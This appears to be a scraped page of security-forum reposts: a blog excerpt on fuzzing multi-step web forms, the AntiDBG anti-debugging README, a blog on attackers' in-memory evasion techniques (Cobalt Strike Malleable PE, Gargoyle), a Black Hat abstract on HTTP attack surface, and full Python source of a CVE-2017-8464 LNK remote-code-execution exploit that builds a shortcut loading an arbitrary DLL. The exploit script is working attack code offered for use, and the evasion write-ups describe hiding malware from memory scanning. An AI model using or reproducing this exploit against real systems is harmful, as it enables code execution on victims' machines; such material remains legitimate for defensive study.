‘Payment Details’ and ‘Summary’. A naïve tester assessing individual steps only, will in a first step test the 8 input fields with 1000 different payloads per input field and will always get the ‘Payment Details’ page as response. This page however does not process or reflect any input from the form on page 1, instead it only contains another form with five input fields. This naïve approach will therefore not identify a XSS vulnerability that might be present, for example in the address field. In a second step, the tester might want to test the input fields of the second page. However, the tester could face two show-stoppers here. Firstly, the server could invalidate the session if it’s keeping track of the previous entries. This commonly happens when one tries to access multi-step forms out of the intended order, e.g. directly accessing page 2, without going through page 1 first. Secondly, the forms on page 1 and page 2 might be processed differently. In our example, many input fields of page 1 are reflected on the summary page, whereas input fields of page 2 are heavily masked. The naïve approach, where page 1 and page 2 are tested individually, would roughly take 8*1000 (page 1) + 5*1000 (page 2) = 13.000 requests. Thorough approach We’ve seen a naïve approach, but how would a thorough, or ‘proper’ approach work? One would always start from the beginning of the multi-step form, ‘go to’ the place where the fuzzing is supposed to happen and then ‘walk’ through to the end of the multi-step form. It is important to stress that the end is not necessarily the last page of the workflow, it is rather the step where one wants to check for a potential reflection. Where could this be? It is not only the obvious summary page that displays the information entered in page 1 and page 2. It can also be that the server tries to do us a favour and automatically fills in previously entered information when going back and forth between the pages. So let’s look at the fuzzing workflows for our example from fig.2, an easy multi-step form with 8 input fields on the first and another 5 input fields on the second page. At the end of the multi-step form is single summary page: 1) Go to page 1; perform input validation on the fields of page 1. Proceed to page 2. Proceed to the end. 2) Go to page 1; perform input validation on the fields of page 1. Proceed to page 2. Proceed to the end. From here, go back to page 1. 3) Go to page 1; perform input validation on the fields of page 1. Proceed to page 2. Proceed to the end. From here, go back to page 2. 4) Go to page 1; proceed to page 2. Perform input validation on the fields of page 2. Proceed to the end. 5) Go to page 1; proceed to page 2. Perform input validation on the fields of page 2. Proceed to the end. From here, go back to page 1. 6) Go to page 1; proceed to page 2. Perform input validation on the fields of page 2. Proceed to the end. From here, go back to page 2. 7) Go to page 1; perform input validation on the fields of page 1. Proceed to page 2. From here go back to page 1. As we can see, properly fuzzing all the logical flows through the multi-step form accumulates quite a few requests. In our example, it takes 167.000 requests, which is a factor of almost 13 times versus the naïve approach that can be utilised for a single-step contact form. More importantly, this figure grows exponentially with increasing number of steps. Conclusions So, will a multi-step form always increase the effort required? Not necessarily. It pretty much depends on the individual process and how and when data is processed, as well as which logical flows are permitted. A good understanding of the possible and permitted workflows on both sides is essential to a satisfying scoping. For a tester it is important to know about these flows and how to properly utilise their tools to align to these workflows. But that is a tale for another blog post … Contact and Follow-Up Michael works in our Assurance team, from our Essen office. See the contact page for ways to get in touch. Sursa: https://www.contextis.com/resources/blog/testing-multi-step-forms/
  21. AntiDBG AntiDBG is a collection of Windows Anti Debugging techniques. The techniques are categorized by the methods they use to find a debugger. Memory CPU Timing Forced Exceptions AntiDBG API AntiDBG is written in C and requires only a single source file and header. Nearly all of these methods are designed to take no input and produce no output. They aim to be self-contained debugger checks that will automatically detach debuggers. Obfuscation AntiDBG is designed to be readable so the user can learn about the techniques. If you choose to use these methods in your own project, you will benefit greatly by adding obfuscation on top of these methods. Obfuscation is not the aim of this project. The Gauntlet The Gauntlet is a simple application that runs each AntiDBG check one after the other. It's purpose is to test your ability to bypass the anti-debugging methods and make it to the end of The Gauntlet while running under a debugger. Want to make The Gauntlet harder? Undefine SHOW_DEBUG_MESSAGES (defined by default in antidbg.c). This option produces a message box when you get caught with information about the check that got you. Troubleshooting Help! This thing won't compile! AntiDBG was developed using Microsoft Visual Studio 2015 building as Release x86. If you are getting compiler errors, ensure you are building for x86. Many of these methods will work on x64 however they may require modification where inline assembly is used. Help! X method doesn't seem to work. Many anti-debugging checks focus on odd edge cases or very specific structures which may or may not be set on certain versions of Windows, or they may act differently under emulation. Some checks require the the debugger to step over the check, while others do not. All methods in AntiDBG have been tested under the conditions which they are designed work on Windows 10 64-bit. Most (if not all) should work on all over versions of Windows as well. AntiDBG shies away from checks which can only be used against specific debuggers or versions of Windows. Can I get more information? Sure. Check out a YouTube series that covers all of these methods. The first video can be located here: https://www.youtube.com/watch?v=UenXxfo8d5w Sursa: https://github.com/cetfor/AntiDBG
      • 1
      • Upvote
  22. Red Teams Advance In-Memory Evasion Tradecraft CHRIS GERRITZ THREAT HUNTING, MALWARE The interaction between red and blue teams during and following exercises are the best opportunities for lessons learned and progressing our respective crafts. When the red team gets caught or can't get in, that's feedback forcing them to improve their trade craft. When the blue team misses something, the feedback from red after they present their plunder (i.e. control of your domain or access to critical data) forces them to adapt to more advanced techniques. This process is only possible in the red/blue relationship, as real adversaries typically don't give feedback. A recent case of this cat and mouse game involves the modern trend of hiding in the volatile memory (sometimes called a "File-less Attack") which has been very successful in eluding anti-virus and hunters alike. Infocyte provides our customers with unique, advanced techniques for scalable volatile memory analysis, which makes the process for finding in-memory threats much easier and exponentially more effective at scale. But as with anything in security, human ingenuity will find a way. Below are three such techniques that red teams and real-world attackers recently released to hide better in memory. In this two part post, we'll look at three of the latest techniques that have surfaced to thwart advanced memory scanning techniques, such as those used by Infocyte. In a follow-up post we'll talk about advances made by Infocyte to make scaled memory analysis more robust and difficult to counter. 1. Reduced Memory Protections Of the stealthy (non OS registered) process injection techniques available to attackers: Reflective DLL Injection Process Hallowing Memory Module APC Injection Almost all implementations allocate liberal permissions (RWX) on their memory pages. As a result, Infocyte and some in the DFIR community have utilized a very reliable technique of scanning process memory pages for modules loaded with improper memory protections. This technique has served us well for YEARS with few modifications, as memory analysis (i.e. using Volatility or Rekall) has historically not been scalable enough to find a hidden beachhead. While some threat actors at the higher tiers caught on, we still see what many call "advanced" actors using this lazy method to allocate memory (even Equation Group's DoublePulsar and Russian rootkits like Uroburos make this mistake). We're calling it though; our observations mark 2017 as an official shift of attacker and red teamer trends to reduce permissions after allocation to make their malware "non-writable". This isn't a death blow to memory scanning by any means but it does increase the noise that defenders and memory analysis solutions like Infocyte have to work through as we expand the search and run into legitimate in-memory compiled processes like .NET and Java applications. Impact to Defenders: Medium-Low. Memory analysts and hunters will have to expand if they were using such assumptions to achieve scale. Expanding the search is trivial but managing falses takes effort. Infocyte is already using this expanded search but scoring had to be updated to negate earlier assumptions of attacker trade-craft. 2. Maleable PE Earlier this year, the red teaming framework, Cobalt Strike, written and maintained by Raphael Mudge, received a few updates (Blog: "Cat, Meet Mouse") to help hide their implant when injected into a common windows process like explorer or lsass. The new feature, called Maleable PE, enables red teams to arbitrarily manipulate the Portable Executable (PE) header of its’ implant (called “Beacon”) to avoid the implant from being categorized as an injected module. Two primary techniques in particular forced us to respond: Prepended NOPs. By prepending No Operation (NOP) assembly instructions to the beginning of the PE file, Beacon now trips up older memory analysis frameworks that use static offsets for PE signatures. You see, normally, malware is injected into byte 0 of its newly allocated memory pages. By placing garbage in front of the PE header, any technique that attempts to pattern match the header using static offsets will fail. String Replace. Another technique is used to replace certain strings that you typically find in PE headers (like "This program cannot be run in DOS mode") or zeroing out parts of the MZ and PE markers after they are no longer needed. This technique is more experimental as you can easily kill your PE's chance of ever executing if done incorrectly but like the NOP technique above, it can really trip up anyone relying on static PE signatures to identify process injection. Impact to Defenders: PITA The latest version (2.9) of Infocyte HUNT uses a new model we've been working on for confirming memory injected modules without relying on static offsets or PE signatures. This video demonstrates how to influence (some) Beacon memory indicators with a Malleable C2 profile. https://www.cobaltstrike.com/help-malleable-c2#memory 3. Gargoyle Written as a proof of concept by Josh Lospinoso, Gargoyle is a technique for hiding all of a program’s executable code in non-executable memory when it is inactive. At a pre-defined interval, gargoyle will wake up and temporarily mark itself executable to do some work. Basically, it takes advantage of the fact that live memory analysis has a cost and the once valid assumption was that a program must reside in executable memory meant an analyst could safely limit analysis there. Since executable code pages represent less than 10% of total memory on most systems, limiting analysis there offers orders of magnitude better performance to a full memory scan. Check out the POC write-up here: https://jlospinoso.github.io/security/assembly/c/cpp/developing/software/2017/03/04/gargoyle-memory-analysis-evasion.html The big problems here are the code is read-only during most of its life and the APC call used to wake Gargoyle is not something that can be trivially enumerated. This represents a challenge to memory analysis at scale. Impact to Defenders: Actually it's not THAT bad... the good news is that this is only a proof of concept and no use of the technique has been seen in the wild. The bad news, for the paranoid, is it still hasn't been seen in the wild. There is some more good news though. Our research has shown the technique has some stability issues and will require a persistence mechanism (such as in the registry) to keep it going. Additionally, behavior-based advanced endpoint protection products should be able to make a signature for the unique ROP chain it’s forced to do to wake itself up. Sursa: https://www.infocyte.com/blog/2017/7/10/red-teams-advance-in-memory-evasion-tradecraft
  23. #!/usr/bin/python # -*- coding: utf-8 -*- # Title : CVE-2017-8464 | LNK Remote Code Execution Vulnerability # CVE : 2017-8464 # Authors : [ykoster, nixawk] # Notice : Only for educational purposes. # Support : python2 import struct def generate_SHELL_LINK_HEADER(): # _________________________________________________________________ # | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | # |0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1| # ----------------------------------------------------------------- # | HeaderSize | # ----------------------------------------------------------------- # | LinkCLSID (16 bytes) | # ----------------------------------------------------------------- # | ... | # ----------------------------------------------------------------- # | ... | # ----------------------------------------------------------------- # | LinkFlags | # ----------------------------------------------------------------- # | FileAttributes | # ----------------------------------------------------------------- # | CreationTime | # ----------------------------------------------------------------- # | ... | # ----------------------------------------------------------------- # | AccessTime | # ----------------------------------------------------------------- # | ... | # ----------------------------------------------------------------- # | WriteTime | # ----------------------------------------------------------------- # | ... | # ----------------------------------------------------------------- # | FileSize | # ----------------------------------------------------------------- # | IconIndex | # ----------------------------------------------------------------- # | ShowCommand | # ----------------------------------------------------------------- # | HotKey | Reserved1 | # ----------------------------------------------------------------- # | Reserved2 | # ----------------------------------------------------------------- # | Reserved3 | # ----------------------------------------------------------------- shell_link_header = [ b'\x4c\x00\x00\x00', # "HeaderSize" : (4 bytes) b'\x01\x14\x02\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46', # "LinkCLSID" : (16 bytes) HKEY_CLASSES_ROOT\CLSID\{00021401-0000-0000-C000-000000000046} b'\x81\x00\x00\x00', # "LinkFlags" : (4 bytes) 0x81 = 0b10000001 = HasLinkTargetIDList + IsUnicode b'\x00\x00\x00\x00', # "FileAttributes" : (4 bytes) b'\x00\x00\x00\x00\x00\x00\x00\x00', # "CreationTime" : (8 bytes) b'\x00\x00\x00\x00\x00\x00\x00\x00', # "AccessTime" : (8 bytes) b'\x00\x00\x00\x00\x00\x00\x00\x00', # "WriteTime" : (8 bytes) b'\x00\x00\x00\x00', # "FileSize" : (4 bytes) b'\x00\x00\x00\x00', # "IconIndex" : (4 bytes) b'\x00\x00\x00\x00', # "ShowCommand" : (4 bytes) b'\x00\x00', # "HotKey" : (2 bytes) b'\x00\x00', # "Reserved1" : (2 bytes) b'\x00\x00\x00\x00', # "Reserved2" : (4 bytes) b'\x00\x00\x00\x00', # "Reserved3" : (4 bytes) ] return b"".join(shell_link_header) def generate_LINKTARGET_IDLIST(path, name): # _________________________________________________________________ # | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | # |0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1| # ----------------------------------------------------------------- # | IDListSize | IDList(variable) | # ----------------------------------------------------------------- # | ... | # ----------------------------------------------------------------- # IDList = ItemID + ItemID + ... + TerminalID # ItemID = ItemIDSize + Data def generate_ItemID(Data): itemid = [ struct.pack('H', len(Data) + 2), # ItemIDSize + len(Data) Data ] # ItemIDSize = struct.pack('H', len(Data) + 2) # ItemIDSize + len(Data) # return ItemIDSize + Data return b"".join(itemid) def generate_cpl_applet(path, name=name): name += b'\x00' path += b'\x00' bindata = [ b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6a\x00\x00\x00\x00\x00\x00', struct.pack('H', len(path)), struct.pack('H', len(name)), path.encode('utf-16')[2:], name.encode('utf-16')[2:], b"\x00\x00" # comment ] return b"".join(bindata) idlist = [ # ItemIDList generate_ItemID('\x1f\x50\xe0\x4f\xd0\x20\xea\x3a\x69\x10\xa2\xd8\x08\x00\x2b\x30\x30\x9d'), generate_ItemID('\x2e\x80\x20\x20\xec\x21\xea\x3a\x69\x10\xa2\xdd\x08\x00\x2b\x30\x30\x9d'), generate_ItemID(generate_cpl_applet(path)), b'\x00\x00', # TerminalID ] idlist = b"".join(idlist) idlistsize = struct.pack('H', len(idlist)) linktarget_idlist = [ idlistsize, idlist, ] return b"".join(linktarget_idlist) def generate_EXTRA_DATA(): # ExtraData refers to a set of structures that convey additional information about a link target. These # optional structures can be present in an extra data section that is appended to the basic Shell Link # Binary File Format. # EXTRA_DATA = *EXTRA_DATA_BLOCK TERMINAL_BLOCK # EXTRA_DATA_BLOCK = CONSOLE_PROPS / CONSOLE_FE_PROPS / DARWIN_PROPS / # ENVIRONMENT_PROPS / ICON_ENVIRONMENT_PROPS / # KNOWN_FOLDER_PROPS / PROPERTY_STORE_PROPS / # SHIM_PROPS / SPECIAL_FOLDER_PROPS / # TRACKER_PROPS / VISTA_AND_ABOVE_IDLIST_PROPS # SpecialFolderDataBlock # _________________________________________________________________ # | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | # |0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1| # ----------------------------------------------------------------- # | BlockSize | # ----------------------------------------------------------------- # | BlockSignatire | # ----------------------------------------------------------------- # | SpecialFolderID | # ----------------------------------------------------------------- # | Offset | # ----------------------------------------------------------------- extra_data = [ b'\x10\x00\x00\x00', b'\x05\x00\x00\xA0', b'\x03\x00\x00\x00', b'\x28\x00\x00\x00', b'\x00\x00\x00\x00' # TERMINAL_BLOCK ] return b"".join(extra_data) def ms_shllink(path, name=b"Microsoft"): '''build Shell Link (.LNK) Binary File Format''' lnk_format = [ # Structures # SHELL_LINK = SHELL_LINK_HEADER [LINKTARGET_IDLIST] [LINKINFO] # [STRING_DATA] *EXTRA_DATA # SHELL_LINK_HEADER: # A ShelllinkHeader structure which contains identification information, timestamps, and # flags that specify the presence of optional structures. generate_SHELL_LINK_HEADER(), # LINKTARGET_IDLIST: # An optional LinkTargetIDList structure, which specifies the target of the link. The # presence of this structure is specified by the HasLinkTargetIDList bit in the ShellLinkHeader. # # generate_LINKTARGET_IDLIST(path, name), # LINKINFO: # An optional LinkInfo structure, which specifies information necessary to resolve the link target. # The presence of this structure is specified by the HasLinkInfo bit in the ShellLinkHeader. # STRING_DATA: # Zero or more optional StringData structures, which are used to convey user interface and path # identification information. The presence of these structures is specified by bits in the ShellLinkHeader. # STRING_DATA = [NAME_STRING] [RELATIVE_PATH] [WORKING_DIR] # [COMMAND_LINE_ARGUMENTS] [ICON_LOCATION] # EXTRA_DATA: # Zero or more ExtraData structures generate_EXTRA_DATA() ] return b"".join(lnk_format) if __name__ == '__main__': import sys if len(sys.argv) != 3: print("[*] Name : CVE-2017-8464 | LNK Remote Code Execution Vulnerability") print("[*] Usage: %s </path/to/test.lnk> </path/to/test.dll>" % sys.argv[0]) sys.exit(0) lnkpath = sys.argv[1] dllpath = sys.argv[2] bindata = ms_shllink(path=dllpath) with open(lnkpath, 'w') as lnkf: lnkf.write(bindata) ## References # 1. https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464 # 2. https://msdn.microsoft.com/en-us/library/dd871305.aspx # 3. https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-SHLLINK/[MS-SHLLINK]-160714.pdf # 4. https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf # 5. https://support.microsoft.com/en-us/help/149648/description-of-control-panel--cpl-files # 6. https://twitter.com/mkolsek/status/877499744704237568 # 7. https://community.saas.hpe.com/t5/Security-Research/Full-details-on-CVE-2015-0096-and-the-failed-MS10-046-Stuxnet/ba-p/251257#.WXi4uNPys6g # 8. https://github.com/rapid7/metasploit-framework/pull/8767 Sursa: https://github.com/nixawk/labs/tree/master/CVE-2017-8464
  24. @co4ie Nu eu, ala care nu a facut update la tema l-a stricat. Verific zilnic sa vad cand apare versiunea OK. @BogdanNBV Stiu, asa e si la mine, e tot de la tema.
  25. Cracking the Lens: Targeting HTTP's Hidden Attack Surface James Kettle - james.kettle@portswigger.net - @albinowax Modern websites are browsed through a lens of transparent systems built to enhance performance, extract analytics and supply numerous additional services. This almost invisible attack surface has been largely overlooked for years. In this paper, I'll show how to use malformed requests and esoteric headers to coax these systems into revealing themselves and opening gateways into our victim's networks. I'll share how by combining these techniques with a little Bash I was able to thoroughly perforate DoD networks, trivially earn over $30k in vulnerability bounties, and accidentally exploit my own ISP. While deconstructing the damage, I'll also showcase several hidden systems it unveiled, including not only covert request interception by the UK's largest ISP, but a substantially more suspicious Colombian ISP, a confused Tor backend, and a system that enabled reflected XSS to be escalated into SSRF. You'll also learn strategies to unblinker blind SSRF using exploit chains and caching mechanisms. Finally, to further drag these systems out into the light, I'll release Collaborator Everywhere - an open source Burp Suite extension which augments your web traffic with a selection of the best techniques to harvest leads from cooperative websites. Outline Introduction Methodology Listening Research Pipeline Scaling Up Misrouting Requests Invalid Host Investigating Intent - BT Investigating Intent - Metrotel Input Permutation Host Override Ambiguous Requests Breaking Expectations Tunnels Targeting Auxiliary Systems Gathering Information Remote Client Exploits Preemptive Caching Conclusion Download: https://www.blackhat.com/docs/us-17/wednesday/us-17-Kettle-Cracking-The-Lens-Exploiting-HTTPs-Hidden-Attack-Surface-wp.pdf
×
×
  • Create New...